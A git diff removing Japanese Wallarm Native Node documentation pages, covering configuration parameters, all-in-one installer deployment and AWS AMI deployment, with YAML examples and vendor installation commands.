-デフォルト: `true`。 - -### log.access_log.verbose - -アクセスログ出力に各リクエストの詳細情報を含めるかどうかを制御します。 - -デフォルト: `true`。 - -### log.access_log.log_file - -アクセスログの出力先を指定します。`stdout`、`stderr`、またはログファイルへのパスを指定できます。 - -デフォルト: `stderr`。ただし、ノードは`stderr`を`/opt/wallarm/var/log/wallarm/go-node.log`ファイルへリダイレクトします。 - -未設定の場合は、[`log.log_file`](#loglog_file)の設定が使用されます。 - -## 高度な設定 - -=== "connector-server" - ```yaml - version: 4 - - input_filters: - inspect: - - path: "^/api/v[0-9]+/.*" - headers: - Authorization: "^Bearer .+" - bypass: - - path: ".*\\.(png|jpg|css|js|svg)$" - - headers: - accept: "text/html" - - http_inspector: - workers: auto - libdetection_enabled: true - api_firewall_enabled: true - api_firewall_database: /opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db - wallarm_dir: /opt/wallarm/etc/wallarm - shm_dir: /tmp - wallarm_process_time_limit: 1s - - postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - - log: - proton_log_mask: info@* - - metrics: - enabled: true - listen_address: :9000 - legacy_status: - enabled: true - listen_address: 127.0.0.1:10246 - namespace: wallarm_gonode - - health_check: - enabled: true - listen_address: :8080 - ``` -=== "tcp-capture" - ```yaml - version: 4 - - input_filters: - inspect: - - path: "^/api/v[0-9]+/.*" - headers: - Authorization: "^Bearer .+" - bypass: - - path: ".*\\.(png|jpg|css|js|svg)$" - - headers: - accept: "text/html" - - http_inspector: - workers: auto - libdetection_enabled: true - api_firewall_enabled: true - api_firewall_database: /opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db - wallarm_dir: /opt/wallarm/etc/wallarm - shm_dir: /tmp - wallarm_process_time_limit: 1s - - postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - - log: - proton_log_mask: info@* - - metrics: - enabled: true - listen_address: :9000 - legacy_status: - enabled: true - listen_address: 127.0.0.1:10246 - namespace: wallarm_gonode - - health_check: - enabled: true - listen_address: :8080 - ``` - -### input_filters - -着信リクエストをNative Nodeで「検査する」か「バイパスする」かを定義します。静的アセットやヘルスチェックなど無関係なトラフィックを無視することでCPU使用率を削減します。 - -デフォルトでは、すべてのリクエストを検査します。 - -!!! warning "検査をスキップしたリクエストはWallarm Cloudで解析・送信されません" - その結果、スキップされたリクエストはメトリクス、API Discovery、API sessions、脆弱性検出などに表示されません。これらにはWallarmの機能は適用されません。 - -**互換性** - -* Native Node 0.13.7以降の0.13.x -* Native Node 0.16.0以降 -* AWS AMIでは未対応 - -**フィルタリングロジック** - -フィルタリングロジックは次の2つのリストに基づきます: - -* `inspect`: ここで少なくとも1つのフィルターにマッチしたリクエストのみ検査します。 - - 省略または空の場合、`bypass`で除外されていない限り、すべてのリクエストを検査します。 -* `bypass`: ここでいずれかのフィルターにマッチしたリクエストは、`inspect`にマッチしても検査しません。 - -**フィルター形式** - -各フィルターは次を含むオブジェクトです: - -* `path` または `url`: リクエストパスに対する正規表現(どちらもサポートされ同等)。 -* `headers`: ヘッダー名とその値にマッチさせる正規表現パターンのマップ。 - -すべての正規表現は[RE2構文](https://github.com/google/re2/wiki/Syntax)に従う必要があります。 - -**例** - -=== "トークンで許可し、静的コンテンツをスキップ" - この構成は、`Authorization`ヘッダーに`Bearer`トークンを含む、バージョン付きAPIエンドポイント(例: `/api/v1/...`)へのリクエストのみを検査します。 - - 画像・スクリプト・スタイルなどの静的ファイルや、ブラウザ発のHTMLページロードはバイパスします。 - - ```yaml - input_filters: - inspect: - - path: "^/api/v[0-9]+/.*" - headers: - Authorization: "^Bearer .+" - bypass: - - path: ".*\\.(png|jpg|css|js|svg)$" - - headers: - accept: "text/html" - ``` -=== "ドメインで許可し、ヘルスチェックをスキップ" - この構成は、`Host: api.example.com`のリクエストのみを検査し、それ以外のリクエストはすべてスキップします。 - - `/healthz`エンドポイントへのリクエストは、検査対象のホストにマッチしていても常にバイパスします。 - - ```yaml - input_filters: - inspect: - - headers: - host: "^api\\.example\\.com$" - bypass: - - path: "^/healthz$" - ``` - -### http_inspector.workers - -Wallarmワーカー数です。 - -デフォルト: `auto`。CPUコア数に合わせてワーカー数が設定されます。 - -### http_inspector.libdetection_enabled - -[libdetection](../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors)ライブラリを使用してSQL Injection攻撃を追加検証するかどうか。 - -デフォルト: `true`。 - -### http_inspector.api_firewall_enabled - -[API Specification Enforcement](../../api-specification-enforcement/overview.md)を有効にするかどうかを制御します。この機能を有効化しても、必要なサブスクリプションやWallarm Console UIでの設定に代わるものではない点にご注意ください。 - -デフォルト: `true`。 - -### http_inspector.api_firewall_database - -[API Specification Enforcement](../../api-specification-enforcement/overview.md)用にアップロードしたAPI仕様を含むデータベースのパスを指定します。このデータベースはWallarm Cloudと同期されます。 - -通常、このパラメータを変更する必要はありません。 - -デフォルト: `/opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db`。 - -### http_inspector.wallarm_dir - -ノードの構成ファイルディレクトリパスを指定します。通常、このパラメータを変更する必要はありません。支援が必要な場合は、[Wallarmサポートチーム](mailto:support@wallarm.com)にお問い合わせください。 - -デフォルト: `/opt/wallarm/etc/wallarm`。 - -### http_inspector.shm_dir - -HTTPアナライザーの共有ディレクトリです。通常、このパラメータを変更する必要はありません。 - -デフォルト: `/tmp`。 - -### http_inspector.wallarm_process_time_limit - -Wallarm Native Nodeが1件のHTTPリクエストを処理する最大時間を定義します。 - -制限を超えた場合、そのリクエストは[`overlimit_res`](../../attacks-vulns-list.md#resource-overlimit)攻撃としてマークされ、ブロックされます。 - -この制限は本パラメータで設定するか、[Wallarm Console](../../user-guides/rules/configure-overlimit-res-detection.md)から設定できます。Consoleからはブロックの有無も制御できます。Wallarm Consoleの設定はローカル設定より優先されます。 - -### postanalytics_exporter.address - -Wallarmのリクエスト処理における統計分析を担当するpostanalyticsサービスのアドレスを設定します。通常、このパラメータを変更する必要はありません。 - -デフォルト: `127.0.0.1:3313`。 - -Nodeバージョン0.12.1以前では、このパラメータは`tarantool_exporter.address`として設定します。 - -### postanalytics_exporter.enabled - -postanalyticsサービスを有効にするかどうかを制御します。Wallarmノードはpostanalyticsサービスなしでは機能しないため、このパラメータは`true`に設定する必要があります。 - -デフォルト: `true`。 - -Nodeバージョン0.12.1以前では、このパラメータは`tarantool_exporter.enabled`として設定します。 - -### log.proton_log_mask - -内部トラフィックログのマスクです。通常、このパラメータを変更する必要はありません。 - -デフォルト: `info@*`。 - -### metrics.enabled - -[Prometheusメトリクス](../../admin-en/configure-statistics-service.md#usage)を有効にするかどうかを制御します。これを`true`に設定しないと、Wallarmノードは正しく動作しません。 - -デフォルト: `true`。 - -### metrics.listen_address - -Prometheusメトリクスを公開するアドレスとポートを設定します。アクセス時は`/metrics`エンドポイントを使用します。 - -デフォルト: `:9000`(全ネットワークインターフェースのポート9000)。 - -### metrics.legacy_status.enabled - -[`/wallarm-status`](../../admin-en/configure-statistics-service.md#usage)メトリクスサービスを有効にするかどうかを制御します。これを`true`に設定しないと、Wallarmノードは正しく動作しません。 - -デフォルト: `true`。 - -### metrics.legacy_status.listen_address - -JSON形式の`/wallarm-status`メトリクスを公開するアドレスとポートを設定します。アクセス時は`/wallarm-status`エンドポイントを使用します。 - -デフォルト: `127.0.0.1:10246`。 - -### metrics.namespace - -`go-node`バイナリ( Native Nodeのコア処理サービス)が公開するPrometheusメトリクスの接頭辞を定義します。 - -デフォルト: `wallarm_gonode`。 - -`go-node`が出力するすべてのメトリクスはこの接頭辞を使用します(例: `wallarm_gonode_requests_total`)。`wstore`や`wcli`などノードの他コンポーネントは、それぞれ固定の接頭辞を使用します。 - -Native Node 0.13.5以降の0.13.x、および0.15.1以降でサポートされます。 - -### health_check.enabled - -ヘルスチェックエンドポイントを有効にするかどうかを制御します。 - -デフォルト: `true`。 - -### health_check.listen_address - -`/live`および`/ready`ヘルスチェックエンドポイントのアドレスとポートを設定します。 - -デフォルト: `:8080`(全ネットワークインターフェースのポート8080)。 diff --git a/docs/latest-ja/installation/native-node/all-in-one.md b/docs/latest-ja/installation/native-node/all-in-one.md deleted file mode 100644 index a23120c026..0000000000 --- a/docs/latest-ja/installation/native-node/all-in-one.md +++ /dev/null @@ -1,288 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md - -# All-in-OneインストーラによるNative Nodeのデプロイ - -[Wallarm Native Node](../nginx-native-node-internals.md)はNGINXから独立して動作し、Wallarmコネクターのセルフホスト型デプロイおよびTCPトラフィックミラー解析向けに設計されています。All-in-Oneインストーラを使用して、Linux OSを搭載した仮想マシン上でNative Nodeを実行できます。 - -## ユースケースとデプロイモード - -* セルフホストのLinux OSマシン上で、MuleSoft [Mule](../connectors/mulesoft.md)または[Flex](../connectors/mulesoft-flex.md) Gateway、[Akamai](../connectors/akamai-edgeworkers.md)、[Cloudflare](../connectors/cloudflare.md)、[Amazon CloudFront](../connectors/aws-lambda.md)、[Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md)、[Fastly](../connectors/fastly.md)、[IBM DataPower](../connectors/ibm-api-connect.md)向けコネクターソリューションの一部としてWallarmノードをデプロイする場合。 - - インストーラを`connector-server`モードで使用します。 -* [TCPトラフィックミラー解析](../oob/tcp-traffic-mirror/deployment.md)のためのセキュリティソリューションが必要な場合。 - - インストーラを`tcp-capture`モードで使用します。 -* Istioで管理されるAPI向けの[gRPCベースの外部処理フィルター](../connectors/istio.md)が必要な場合。 - - インストーラを`envoy-external-filter`モードで使用します。 - -## 要件 - -All-in-OneインストーラでNative Nodeを実行するマシンは、次の条件を満たす必要があります。 - -* Linux OS。 -* x86_64/ARM64アーキテクチャ。 -* すべてのコマンドをスーパーユーザー（例: `root`）で実行できること。 -* 以下へのアウトバウンドアクセス: - - * Wallarmインストーラをダウンロードするための`https://meganode.wallarm.com` - * US/EUのWallarm Cloud用の`https://us1.api.wallarm.com`または`https://api.wallarm.com` - * 攻撃検知ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらに[許可リスト、拒否リスト、またはグレーリスト][ip-list-docs]に登録した国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレス - - --8<-- "../include/wallarm-cloud-ips.md" -* ノードを`connector-server`または`envoy_external_filter`モードで実行する場合は、そのマシンのドメインに対して**信頼された**SSL/TLS証明書を発行し、秘密鍵とともにマシンに配置する必要があります。 -* ノードを`tcp-capture`モードで実行する場合: - - * トラフィックおよびレスポンスのミラーリングを、送信元と宛先の両方を設定して構成し、準備したインスタンスをミラーの宛先として選択する必要があります。たとえばトラフィックミラーリングの構成では、特定のプロトコルの許可など、特定の環境要件を満たす必要があります。 - * ミラーされたトラフィックにはVLAN（802.1q）、VXLAN、またはSPANのいずれかのタグが付与されます。 -* さらに、Wallarm ConsoleでAdministratorロールが割り当てられている必要があります。 - -## 制限事項 - -* All-in-Oneインストーラを`connector-server`または`envoy_external_filter`モードで使用する場合、マシンのドメインには**信頼された**SSL/TLS証明書が必要です。自己署名証明書はまだサポートされていません。 -* [カスタムのブロックページおよびブロックコード](../../admin-en/configuration-guides/configure-block-page-and-code.md)の構成はまだサポートしていません。 -* Wallarmルールによる[レート制限](../../user-guides/rules/rate-limiting.md)はサポートしていません。 -* [マルチテナンシー](../multi-tenant/overview.md)はまだサポートしていません。 - -## インストール - -### 1. Wallarmトークンを準備する - -ノードをインストールするには、Wallarm Cloudにノードを登録するためのトークンが必要です。トークンを準備するには次の手順に従います。 - -1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)のWallarm Console → **Settings** → **API tokens**を開きます。 -1. 使用タイプが`Node deployment/Deployment`のAPIトークンを探すか作成します。 -1. このトークンをコピーします。 - -### 2. Wallarmインストーラをダウンロードする - -Wallarmインストールスクリプトをダウンロードして実行可能にします。 - -=== "x86_64版" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.x86_64.sh - chmod +x aio-native-0.17.1.x86_64.sh - ``` -=== "ARM64版" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.aarch64.sh - chmod +x aio-native-0.17.1.aarch64.sh - ``` - -### 3. 構成ファイルを準備する - -次の最小構成で、マシン上に`wallarm-node-conf.yaml`ファイルを作成します。 - -=== "connector-server" - ```yaml - version: 4 - - mode: connector-server - - connector: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - ``` - - `connector.tls_cert`および`connector.tls_key`には、そのマシンのドメインに対して発行された**信頼された**証明書と秘密鍵へのパスを指定します。 -=== "tcp-capture" - ```yaml - version: 4 - - mode: tcp-capture - - goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan - ``` - - `goreplay.filter`パラメータには、トラフィックをキャプチャするネットワークインターフェースを指定します。ホストで利用可能なネットワークインターフェースを確認するには次を実行します。 - - ``` - ip addr show - ``` -=== "envoy-external-filter" - ```yaml - version: 4 - - mode: envoy-external-filter - - envoy_external_filter: - address: ":5080" - tls_cert: "/path/to/cert.crt" - tls_key: "/path/to/cert.key" - ``` - - `envoy_external_filter.tls_cert`および`envoy_external_filter.tls_key`には、そのマシンのドメインに対して発行された**信頼された**証明書と秘密鍵へのパスを指定します。 - -[すべての構成パラメータ](all-in-one-conf.md) - -### 4. インストーラを実行する - -=== "connector-server" - x86_64版インストーラの場合: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` - - ARM64版インストーラの場合: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` -=== "tcp-capture" - x86_64版インストーラの場合: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - - ARM64版インストーラの場合: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` -=== "envoy-external-filter" - x86_64版インストーラの場合: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host api.wallarm.com - ``` - - ARM64版インストーラの場合: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host api.wallarm.com - ``` - -* 変数`WALLARM_LABELS`は、ノードが追加されるグループを設定します（Wallarm ConsoleのUIでノードを論理的にグルーピングするために使用します）。 -* ``は、使用タイプが`Node deployment/Deployment`の生成済みAPIトークンを指定します。 -* ``は、前項で準備した構成ファイルへのパスを指定します。 - -指定した構成ファイルは、`/opt/wallarm/etc/wallarm/go-node.yaml`にコピーされます。 - -必要に応じて、インストール完了後にコピー済みファイルを変更できます。変更を反映するには、`sudo systemctl restart wallarm`でWallarmサービスを再起動します。 - -### 5. インストールを完了する - -=== "connector-server" - ノードをデプロイしたら、次のステップとして、トラフィックをデプロイ済みノードへルーティングするためにWallarmコードをお使いのAPI管理プラットフォームまたはサービスに適用します。 - - 1. コネクター用のWallarmコードバンドルを入手するには、sales@wallarm.comにご連絡ください。 - 1. プラットフォーム固有の手順に従って、API管理プラットフォームにバンドルを適用します。 - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [MuleSoft Flex Gateway](../connectors/mulesoft-flex.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Akamai](../connectors/akamai-edgeworkers.md#2-obtain-the-wallarm-code-bundle-and-create-edgeworkers) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [IBM DataPower](../connectors/ibm-api-connect.md#2-obtain-and-apply-the-wallarm-policies-to-apis-in-ibm-api-connect) -=== "tcp-capture" - [デプロイのテストに進みます](../oob/tcp-traffic-mirror/deployment.md#step-5-test-the-solution)。 -=== "envoy-external-filter" - ノードをデプロイしたら、次のステップとして、トラフィックをノードへ転送するように[Envoyの設定を更新](../connectors/istio.md#2-configure-envoy-to-proxy-traffic-to-the-wallarm-node)します。 - -## ノードの動作確認 - -ノードがトラフィックを検知しているか確認するには、ログを確認します。 - -* Native Nodeのログは、デフォルトで`/opt/wallarm/var/log/wallarm/go-node.log`に出力されます。 -* データがWallarm Cloudへ送信されたか、検知した攻撃など、フィルタリングノードの[標準ログ](../../admin-en/configure-logging.md)は`/opt/wallarm/var/log/wallarm`ディレクトリにあります。 -* 追加のデバッグには、[`log.level`](all-in-one-conf.md#loglevel)パラメータを`debug`に設定します。 - -また、`http://:9000/metrics.`で公開される[Prometheusメトリクス](../../admin-en/native-node-metrics.md)を確認することでも、ノードの動作を検証できます。 - -## インストーラの起動オプション - -* All-in-Oneスクリプトをダウンロードしたら、次で**ヘルプ**を表示できます。 - - === "x86_64版" - ``` - sudo ./aio-native-0.17.1.x86_64.sh -- --help - ``` - === "ARM64版" - ``` - sudo ./aio-native-0.17.1.aarch64.sh -- --help - ``` -* インストーラを**対話**モードで起動し、最初のステップで必要なモードを選択することもできます。 - - === "x86_64版" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh - ``` - === "ARM64版" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh - ``` -* ノードはAPI Discovery専用モード（バージョン0.12.1以降で利用可能）で使用できます。このモードでは、ノードの組み込みメカニズムで検知される攻撃や、追加の設定が必要な攻撃（例: クレデンシャルスタッフィング、API仕様違反の試行、拒否リストおよびグレーリストのIPからの悪意ある活動）を検知し、（有効化されていれば）ローカルでブロックしますが、Wallarm Cloudにはエクスポートしません。Cloudに攻撃データがないため、[Threat Replay Testing](../../vulnerability-detection/threat-replay-testing/overview.md)は機能しません。許可リストのIPからのトラフィックは許可されます。 - - 一方で、[API Discovery](../../api-discovery/overview.md)、[API sessions](../../api-sessions/overview.md)、および[security vulnerability detection](../../about-wallarm/detecting-vulnerabilities.md)は引き続き完全に機能し、関連するセキュリティエンティティを検知してCloudへアップロードし、可視化します。 - - このモードは、まずAPI資産を見直して機微なデータを特定し、その後で攻撃データのエクスポートを計画的に行いたい方に適しています。ただし、Wallarmは攻撃データを安全に処理し、必要に応じて[機微な攻撃データのマスキング](../../user-guides/rules/sensitive-data-rule.md)も提供するため、攻撃データのエクスポートを無効化するケースはまれです。 - - API Discovery専用モードを有効化するには: - - 1. `/etc/wallarm-override/env.list`ファイルを作成または編集します。 - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - 次の変数を追加します。 - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. [ノードのインストール手順](#installation)に従います。 - - API Discovery専用モードが有効な場合、`/opt/wallarm/var/log/wallarm/wcli-out.log`には次のメッセージが記録されます。 - - ```json - {"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} - ``` - -## アップグレードと再インストール - -* ノードのアップグレードは、[こちらの手順](../../updating-migrating/native-node/all-in-one.md)に従います。 -* アップグレードまたは再インストールの過程で問題が発生した場合: - - 1. 現在のインストールを削除します。 - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` - - 1. 上記のインストール手順に従って、通常どおりノードをインストールします。 \ No newline at end of file diff --git a/docs/latest-ja/installation/native-node/aws-ami.md b/docs/latest-ja/installation/native-node/aws-ami.md deleted file mode 100644 index 610c6a9a18..0000000000 --- a/docs/latest-ja/installation/native-node/aws-ami.md +++ /dev/null @@ -1,243 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md - -# AWS AMIでNative Nodeをデプロイする - -[Wallarm Native Node](../nginx-native-node-internals.md)はNGINXに依存せずに動作し、Wallarmコネクターのセルフホスト型デプロイやTCPトラフィックミラー解析のために設計されています。[AWS AMI](https://aws.amazon.com/marketplace/pp/prodview-3d5ne4ruxm6j6)を使用してAWSインスタンス上でNative Nodeを実行できます。 - -AMIはDebian 12をベースとしており、all-in-oneインストーラーを同梱しています。このインストーラーはノードのデプロイと設定に使用するWallarmのスクリプトです。AMIからインスタンスを起動後、このスクリプトを実行してインストールを完了します。 - -AWS上でAMIからWallarm Nodeをデプロイする作業は、通常約10分で完了します。 - -!!! info "セキュリティに関する注意" - このソリューションはAWSのセキュリティベストプラクティスに従うよう設計されています。デプロイにはAWSのルートアカウントの使用を避け、必要最小限の権限のみを付与したIAMユーザーまたはロールを使用することを推奨します。 - - デプロイプロセスは最小権限の原則を前提としており、Wallarmコンポーネントのプロビジョニングと運用に必要な最小限のアクセス権のみを付与します。 - -このデプロイのAWSインフラコスト見積もりについては、[AWSへのWallarmデプロイのコストガイダンス](../cloud-platforms/aws/costs.md)を参照してください。 - -## ユースケースとデプロイモード - -* AWS上で、MuleSoft [Mule](../connectors/mulesoft.md) Gateway、[Cloudflare](../connectors/cloudflare.md)、[Amazon CloudFront](../connectors/aws-lambda.md)、[Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md)、[Fastly](../connectors/fastly.md)向けコネクターソリューションの一部としてWallarmノードをデプロイする場合 - - イメージを`connector-server`モードで実行します。 -* [TCPトラフィックミラー解析](../oob/tcp-traffic-mirror/deployment.md)用のセキュリティソリューションが必要で、インフラがAWS上にある場合 - - イメージを`tcp-capture`モードで実行します。 - - !!! info "`tcp-capture`モードの制限事項" - * このソリューションは生のTCP上の暗号化されていないHTTPトラフィックのみを解析し、暗号化されたHTTPSトラフィックは対象外です。 - * HTTP keep-alive接続上のレスポンス解析はまだサポートしていません。 - -## 要件 - -* AWSアカウント -* AWS EC2およびSecurity Groupの理解 -* 任意のAWSリージョン（Wallarmノードのデプロイに特定のリージョン制約はありません） - - Wallarmは単一アベイラビリティーゾーン（AZ）およびマルチAZでのデプロイをサポートします。マルチAZ構成では、Wallarm Nodeを別々のAZに起動し、高可用性のためにロードバランサーの背後に配置できます。 -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス -* すべてのコマンドをWallarmのEC2インスタンス上でスーパーユーザー（例: `root`）として実行すること -* `connector-server`モードでノードを実行する場合、マシンのドメインに対して発行された**信頼済み**SSL/TLS証明書を秘密鍵とともにマシンへアップロードしておくこと -* `tcp-capture`モードでノードを実行する場合: - - * トラフィックおよびレスポンスミラーリングがソースとターゲットの両方で構成され、準備したインスタンスがミラーターゲットとして選択されていること。トラフィックミラーリング構成で許可すべきプロトコルなど、特定の環境要件を満たす必要があります。 - * ミラートラフィックがVLAN（802.1q）、VXLAN、またはSPANのいずれかでタグ付けされていること。 - * 生のTCP上の暗号化されていないHTTPトラフィックであること（暗号化されたHTTPSトラフィックは不可）。 - -## 制限事項 - -* `connector-server`モードでNodeを使用する場合、マシンのドメインに対する**信頼済み**SSL/TLS証明書が必要です。自己署名証明書はまだサポートしていません。 -* [カスタムのブロックページとブロックコード](../../admin-en/configuration-guides/configure-block-page-and-code.md)はまだサポートしていません。 -* Wallarmルールによる[レート制限](../../user-guides/rules/rate-limiting.md)はサポートしていません。 -* [マルチテナンシー](../multi-tenant/overview.md)はまだサポートしていません。 - -## インストール - -### 1. Wallarm Nodeインスタンスを起動する - -[Wallarm Native Node AMI](https://aws.amazon.com/marketplace/pp/prodview-3d5ne4ruxm6j6)を使用してEC2インスタンスを起動します。 - -推奨構成: - -* 入手可能な最新の[AMIバージョン](../../updating-migrating/native-node/node-artifact-versions.md#amazon-machine-image-ami) -* 任意のAWSリージョン -* EC2インスタンスタイプ: `t3.medium`または`t3.large`（詳細は[コストガイダンス](../cloud-platforms/aws/costs.md)を参照） -* インフラに応じた適切な[VPCとサブネット](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html) -* [Security Group](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-security-groups.html)のインバウンドで、[ノード設定](#5-prepare-the-configuration-file)で定義したポートへのアクセス -* [Security Group](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-security-groups.html)のアウトバウンドで以下へのアクセス: - - * Wallarmインストーラーをダウンロードするための`https://meganode.wallarm.com` - * US/EUのWallarm Cloudへ接続するための`https://us1.api.wallarm.com`または`https://api.wallarm.com` - * 攻撃検出ルールや[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、また[allowlisted、denylisted、graylisted][ip-list-docs]の国・地域・データセンターの正確なIPを取得するための以下のIPアドレス - - --8<-- "../include/wallarm-cloud-ips.md" -* インスタンスへアクセスするためのSSHキーペア - -### 2. SSHでノードインスタンスへ接続する - -稼働中のEC2インスタンスへ接続するには、[選択したSSHキー](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-linux-instance.html)を使用します: - -```bash -ssh -i admin@ -``` - -インスタンスへ接続するにはユーザー名`admin`を使用します。 - -### 3. Wallarmトークンを準備する - -ノードをWallarm Cloudに登録するにはAPIトークンが必要です: - -1. Wallarm Console → **Settings** → **API tokens**（[US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)）を開きます。 -1. 使用タイプが`Node deployment/Deployment`のAPIトークンを見つけるか作成します。 -1. このトークンをコピーします。 - -### 4. TLS証明書をアップロードする - -`connector-server`モード用に、インスタンスのドメインに対して**信頼済み**TLS証明書と秘密鍵を発行してください。これらのファイルはインスタンス内からアクセスでき、以降の設定で参照される必要があります。 - -証明書と鍵ファイルは`scp`、`rsync`などでEC2インスタンスにアップロードします。例: - -``` -scp -i tls-cert.crt tls-key.key admin@:~ -``` - -### 5. 設定ファイルを準備する - -EC2インスタンス上で`wallarm-node-conf.yaml`という名前のファイルを作成し、以下の最小構成のいずれかを記述します: - -=== "コネクタサーバー" - ```yaml - version: 4 - - mode: connector-server - - connector: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - ``` - - `connector.tls_cert`および`connector.tls_key`には、マシンのドメイン用に発行された**信頼済み**証明書と秘密鍵のパスを指定します。 -=== "TCPキャプチャ" - ```yaml - version: 4 - - mode: tcp-capture - - goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan - ``` - - `goreplay.filter`パラメータには、トラフィックをキャプチャするネットワークインターフェイスを指定します。ホストで利用可能なネットワークインターフェイスを確認するには次を実行します: - - ``` - ip addr show - ``` - -[すべての設定パラメータ](all-in-one-conf.md) - -### 6. ノードのインストールスクリプトを実行する - -EC2インスタンス上でインストーラーを実行します: - -=== "コネクタサーバー" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config=./wallarm-node-conf.yaml --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config=./wallarm-node-conf.yaml --host api.wallarm.com - ``` -=== "TCPキャプチャ" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config=./wallarm-node-conf.yaml --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config=./wallarm-node-conf.yaml --host api.wallarm.com - ``` - -* `WALLARM_LABELS`変数は、ノードを追加するgroup（Wallarm Console UI上でノードを論理的にグルーピングするため）を設定します。 -* ``には、使用タイプが`Node deployment/Deployment`の生成済みAPIトークンを指定します。 -* `--go-node-config`には、事前に用意した設定ファイルのパスを指定します。 - -指定した設定ファイルは`/opt/wallarm/etc/wallarm/go-node.yaml`にコピーされます。 - -必要に応じて、インストール完了後にコピーされたファイルを変更できます。変更を反映するには、`sudo systemctl restart wallarm`でWallarmサービスを再起動します。 - -### 7. インストールを完了する - -=== "コネクタサーバー" - 